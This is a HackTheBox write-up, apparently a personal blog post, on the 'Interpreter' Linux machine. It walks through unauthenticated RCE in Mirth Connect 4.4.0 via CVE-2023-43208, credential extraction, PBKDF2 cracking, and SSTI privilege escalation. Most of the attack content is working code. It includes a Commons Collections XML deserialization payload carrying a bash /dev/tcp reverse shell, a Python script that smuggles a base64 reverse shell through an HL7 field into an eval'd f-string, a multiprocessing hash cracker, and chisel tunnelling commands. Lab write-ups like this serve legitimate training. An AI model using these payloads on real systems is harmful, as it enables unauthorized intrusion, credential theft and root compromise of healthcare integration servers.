← Writeups
MediumLinuxHackTheBoxCVE-2023-43208

Interpreter: HackTheBox Writeup (Linux, Medium)

CVE-2023-43208 gives unauthenticated RCE on Mirth Connect 4.4.0 via Java deserialization. DB credentials lead to a PBKDF2 hash crack for SSH as sedric, then an SSTI in a Flask notif service running as root closes the chain.

2026-03-21

// Attack Chain

CVE-2023-43208 RCE → mirth → DB creds (mirth.properties) → PBKDF2 crack → sedric → HL7 MLLP → SSTI in notif.py → Root

Attack Chain Summary

CODE
CVE-2023-43208 (RCE) → mirth shell
        ↓
DB creds in mirth.properties → PBKDF2 hash extraction
        ↓
Python cracker → SSH as sedric
        ↓
HL7 MLLP channel analysis → SSTI in notif.py → root shell

Date: March 21, 2026 | Difficulty: Medium | OS: Linux


1. Reconnaissance

Port Scanning

I started with a full port scan using RustScan followed by Nmap for service detection.

BASH
rustscan -a 10.129.244.184 -r 1-65535
nmap -sC -sV 10.129.244.184 -p22,80,443 -Pn

The initial Nmap scan without -Pn showed the host as down because the target was blocking ICMP ping probes. Adding -Pn forced Nmap to skip host discovery and scan directly, revealing the open ports.

Open ports:

Web Enumeration

Visiting port 80 via curl revealed a Mirth Connect Administrator login page, a Java-based healthcare integration engine by NextGen Healthcare.

I downloaded the webstart.jnlp file from the target and inspected it:

BASH
head webstart.jnlp

This confirmed the version:

CODE
<jnlp codebase="https://10.129.244.184:443" version="4.4.0">

I also verified the version directly via the Mirth REST API. The first attempt failed because I forgot the required header:

BASH
# Failed: missing required header
curl https://10.129.244.184/api/server/version -k
# HTTP ERROR 400: All requests must have 'X-Requested-With' header

# Correct request
curl -k -H 'X-Requested-With: OpenAPI' https://10.129.244.184:443/api/server/version
# Response: 4.4.0

Mirth Connect 4.4.0 is vulnerable to CVE-2023-43208.


2. Initial Access: CVE-2023-43208 (RCE)

Understanding the Vulnerability

CVE-2023-43208 is an unauthenticated remote code execution vulnerability in Mirth Connect affecting all versions before 4.4.1. It exploits Java deserialization using Apache Commons Collections, allowing a specially crafted XML payload to execute arbitrary OS commands without any authentication.

The attack works by sending a malicious serialized Java object to the /api/users endpoint. When Mirth deserializes it, the payload triggers a chain of transformer calls that ultimately calls Runtime.exec() with attacker-controlled input.

Crafting the Payload

I crafted a payload.xml file that uses the Commons Collections transformer chain to execute a bash reverse shell:

XML
<sorted-set>
  <string>abcd</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
      <target class="org.apache.commons.collections4.functors.ChainedTransformer">
        <iTransformers>
          <!-- ... transformer chain ... -->
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>exec</iMethodName>
            <iArgs>
              <string>bash -c 'bash -i &gt;&amp; /dev/tcp/10.10.16.73/4444 0&gt;&amp;1'</string>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
        </iTransformers>
      </target>
    </handler>
  </dynamic-proxy>
</sorted-set>

I sent it to the /api/users endpoint:

BASH
curl -X POST "https://10.129.244.184:443/api/users" \
  -H "Content-Type: application/xml" \
  -H "X-Requested-With: OpenAPI" \
  --data-binary @payload.xml -k

The server returned a 500 error: but that's expected. The deserialization happens server-side before the response is generated, meaning the payload already executed. My listener caught the shell:

CODE
nc -lvnp 4444
connect from 10.129.244.184
mirth@interpreter:/usr/local/mirthconnect$

I upgraded the shell using:

BASH
SHELL=/bin/bash script -q /dev/null
export TERM=xterm

3. Enumeration as mirth

Credential Discovery in mirth.properties

I navigated to the Mirth Connect configuration directory and read mirth.properties:

BASH
cat /usr/local/mirthconnect/conf/mirth.properties

This file contained several critical credentials:

CODE
keystore.storepass = 5GbU5HGTOOgE
keystore.keypass   = tAuJfQeXdnPw
database.username  = mirthdb
database.password  = MirthPass123!
database.url       = jdbc:mariadb://localhost:3306/mc_bdd_prod

The file also confirmed the exact Mirth version and that the backend database is MariaDB.

Database Enumeration

I connected to the MariaDB instance using the discovered credentials:

BASH
mysql -u mirthdb -p'MirthPass123!' -h localhost mc_bdd_prod

I listed the tables and focused on user-related ones:

SQL
SELECT * FROM PERSON LIMIT 10;
SELECT * FROM PERSON_PASSWORD LIMIT 10;

This revealed a system user named sedric (also present in /etc/passwd with a bash shell), along with their password hash:

CODE
u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==

4. Lateral Movement: mirth → sedric

Hash Analysis

I decoded the Base64 hash and inspected the raw bytes:

BASH
echo "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==" | base64 -d | xxd
CODE
00000000: bbff 8b04 1394 9da7 62c8 506c 30ea 080c
00000010: f2db 511d 2b93 9f64 1243 d4d7 b8ad 76b5
00000020: 5603 f90b 32dd f0fb

The total is 40 bytes. Knowing that PBKDF2-HMAC-SHA256 produces a 32-byte derived key, the structure became clear:

Mirth Connect 4.4.0 uses PBKDF2-HMAC-SHA256 with 600,000 iterations: a strong algorithm, but useless against a weak password.

Cracking the Hash with Python

Hashcat was too slow on my VM, so I wrote a custom Python cracker using multiprocessing to parallelize across all CPU cores:

PYTHON
import hashlib, time, sys
from multiprocessing import Pool, cpu_count

SALT = bytes.fromhex("bbff8b0413949da7")
TARGET = bytes.fromhex("62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb")
WORDLIST = "/usr/share/wordlists/rockyou.txt"

def check_password(args):
    password, salt, target = args
    password = password.strip()
    dk = hashlib.pbkdf2_hmac("sha256", password, salt, 600000)
    return password if dk == target else None

def chunkify(file, size):
    chunk = []
    for line in file:
        chunk.append((line, SALT, TARGET))
        if len(chunk) >= size:
            yield chunk
            chunk = []
    if chunk:
        yield chunk

if __name__ == "__main__":
    cores = cpu_count()
    print(f"[*] Algorithm:  PBKDF2-HMAC-SHA256")
    print(f"[*] Iterations: 600,000")
    print(f"[*] CPU cores:  {cores}")
    start_time = time.time()
    tested = 0
    with open(WORDLIST, "rb") as f, Pool(cores) as pool:
        for chunk in chunkify(f, size=cores):
            results = pool.map(check_password, chunk)
            tested += len(chunk)
            for result in results:
                if result:
                    elapsed = time.time() - start_time
                    print(f"\n[+] Password found: {result.decode()}")
                    print(f"[+] Tested:         {tested} passwords")
                    print(f"[+] Time elapsed:   {elapsed:.2f} seconds")
                    pool.terminate()
                    sys.exit(0)
            if tested % 100 == 0:
                elapsed = time.time() - start_time
                rate = tested / elapsed if elapsed > 0 else 0
                print(f"[*] Tested: {tested:<6} | Elapsed: {elapsed:.1f}s | Rate: {rate:.2f} pwd/s", end="\r")

Result: snowflake1

The high iteration count (600,000) made each guess very slow, but the password was weak and in rockyou.txt. This highlights an important lesson: even the strongest hashing algorithm can't protect a dictionary password.

SSH as sedric

BASH
ssh sedric@10.129.244.184
# Password: snowflake1

user.txt: 3c2b1423e442e88a02d97aa1f0f828f2


5. Privilege Escalation: sedric → root

Discovering the Internal HL7 Channel

I checked listening ports:

BASH
ss -tulnp

Key findings:

I connected to port 6661 with nc and tried HTTP, no response. That's expected because port 6661 is an MLLP (Minimal Lower Layer Protocol) listener, not HTTP. MLLP is used to transmit HL7 healthcare messages over TCP and requires special framing bytes, 0x0B to start and 0x1C0D to end a message.

Analyzing the Mirth Channel Configuration

I queried the CHANNEL table in the database:

SQL
SELECT * FROM CHANNEL\G

The channel named INTERPRETER - HL7 TO XML TO NOTIFY revealed the complete data flow:

  1. Receives HL7 ADT^A01 messages on port 6661 via MLLP
  2. Transforms them to XML using field mappings:
    • PID.5.2 (firstname) → <firstname> in XML
    • PID.5.1 (lastname) → <lastname> in XML
  3. POSTs the resulting XML to http://127.0.0.1:54321/addPatient

I also decoded the Base64 inbound template to confirm the HL7 message structure:

BASH
echo "TVNIfF5+..." | base64 -d
# MSH|^~\&|WEBAPP|INTERPRETER|MIRTH|INTERPRETER|TIMESTAMP||ADT^A01||P|2.5
# PID|1||PATIENTID^^^INTERPRETER||LASTNAME^FIRSTNAME||DATEOFBIRTH|GENDER

Probing the Internal Flask App

I used chisel to tunnel port 54321 to my Kali machine:

BASH
# Kali (server)
./chisel server -p 51234 --reverse

# Target (client)
./chisel client 10.10.16.73:51234 R:54321:127.0.0.1:54321 R:6661:127.0.0.1:6661

Probing the endpoint:

BASH
curl -v http://127.0.0.1:54321/addPatient
# HTTP 405 Method Not Allowed
# Server: Werkzeug/2.2.2 Python/3.11.2
# Allow: OPTIONS, POST

This revealed a Python Flask application. Testing with POST and XML:

BASH
curl -X POST http://127.0.0.1:54321/addPatient \
  -H "Content-Type: application/xml" \
  -d '<patient><firstname>test</firstname>...</patient>'
# Response: [INVALID_INPUT]

The app was parsing XML but rejecting the input, the parser was working.

Identifying the SSTI Vulnerability

Reading the source code of /usr/local/bin/notif.py revealed the exact vulnerability:

PYTHON
def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    template = f"Patient {first} {last} ..."
    return eval(f"f'''{template}'''")

Two critical issues:

  1. The regex allows curly braces {}, exactly what's needed for f-string injection
  2. The template is passed directly to eval() as an f-string, meaning any {expression} inside first gets executed as Python code

Since ps aux showed notif.py running as root, any code injected through this path executes with root privileges.

Crafting the SSTI Exploit via HL7

I wrote a Python exploit that:

  1. Constructs a reverse shell one-liner
  2. Base64 encodes it for safe transport
  3. Wraps it in an SSTI payload inside the PID.5.2 (firstname) HL7 field
  4. Frames the HL7 message with MLLP bytes and sends it to port 6661
PYTHON
import socket, base64

TARGET = "10.129.244.184"
PORT = 6661

shell = (
    'import socket,subprocess,os;'
    's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
    's.connect(("10.10.16.73",7777));'
    'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);'
    'import pty;pty.spawn("sh")'
)

b64 = base64.b64encode(shell.encode()).decode()
PAYLOAD = f"{{exec(__import__('base64').b64decode('{b64}').decode())}}"

msh = "MSH|^~\\&|EXPLOIT|INTERPRETER|MIRTH|INTERPRETER|20240101120000||ADT^A01|MSG001|P|2.5"
pid = f"PID|1||PATIENTID^^^INTERPRETER||LASTNAME^{PAYLOAD}||19900101|M"
hl7 = f"{msh}\r{pid}\r"

# MLLP framing: 0x0B + message + 0x1C 0x0D
framed = b'\x0B' + hl7.encode() + b'\x1C\x0D'

s = socket.socket()
s.settimeout(5)
s.connect((TARGET, PORT))
s.sendall(framed)
print("[+] Payload sent. Check your listener...")
try:
    print(f"Response: {s.recv(4096)}")
except:
    print("[*] No response received (normal)")
s.close()

How it works: The HL7 message flows through Mirth Connect's channel, which extracts PID.5.2 as firstname and puts it into the XML <firstname> field. Flask's notif.py receives the XML, extracts the firstname value, and passes it to template(). The regex allows {} characters, so validation passes. The value then lands inside the f-string passed to eval(), which executes the injected exec(...) expression, decoding and running the base64 reverse shell, as root.

Getting Root

BASH
nc -lvnp 7777
# connect from 10.129.244.184
# id
# uid=0(root) gid=0(root) groups=0(root)

root.txt: 80f1e9e28d8a923e6a545e0baeaf239a


6. Why Things Worked (and Why They Didn't)

ObservationWhy
First Nmap showed host downTarget blocks ICMP; needed -Pn to skip ping check
curl to /api/server/version gave 400Mirth requires X-Requested-With: OpenAPI header on all API requests as CSRF protection
CVE payload returned 500 but shell still cameDeserialization runs before response generation; 500 just means the handler crashed after the payload already executed
nc to port 6661 got no responsePort 6661 is an MLLP listener, not HTTP, requires special 0x0B / 0x1C0D framing bytes
SSTI regex validation was bypassedThe regex ^[a-zA-Z0-9._'"(){}=+/]+$ explicitly allows { and } which are the injection characters
Shell came back as rootnotif.py was started and run by root, any code executed inside it inherits root privileges

7. Tools Used

ToolPurpose
RustScan / NmapPort scanning
curlWeb enumeration and payload delivery
PythonCustom PBKDF2 cracker, SSTI exploit, HL7 exploit
chiselReverse port tunnelling to expose internal services
MariaDB CLIDatabase enumeration
netcatReverse shell listener

8. Key Takeaways

← Back to writeups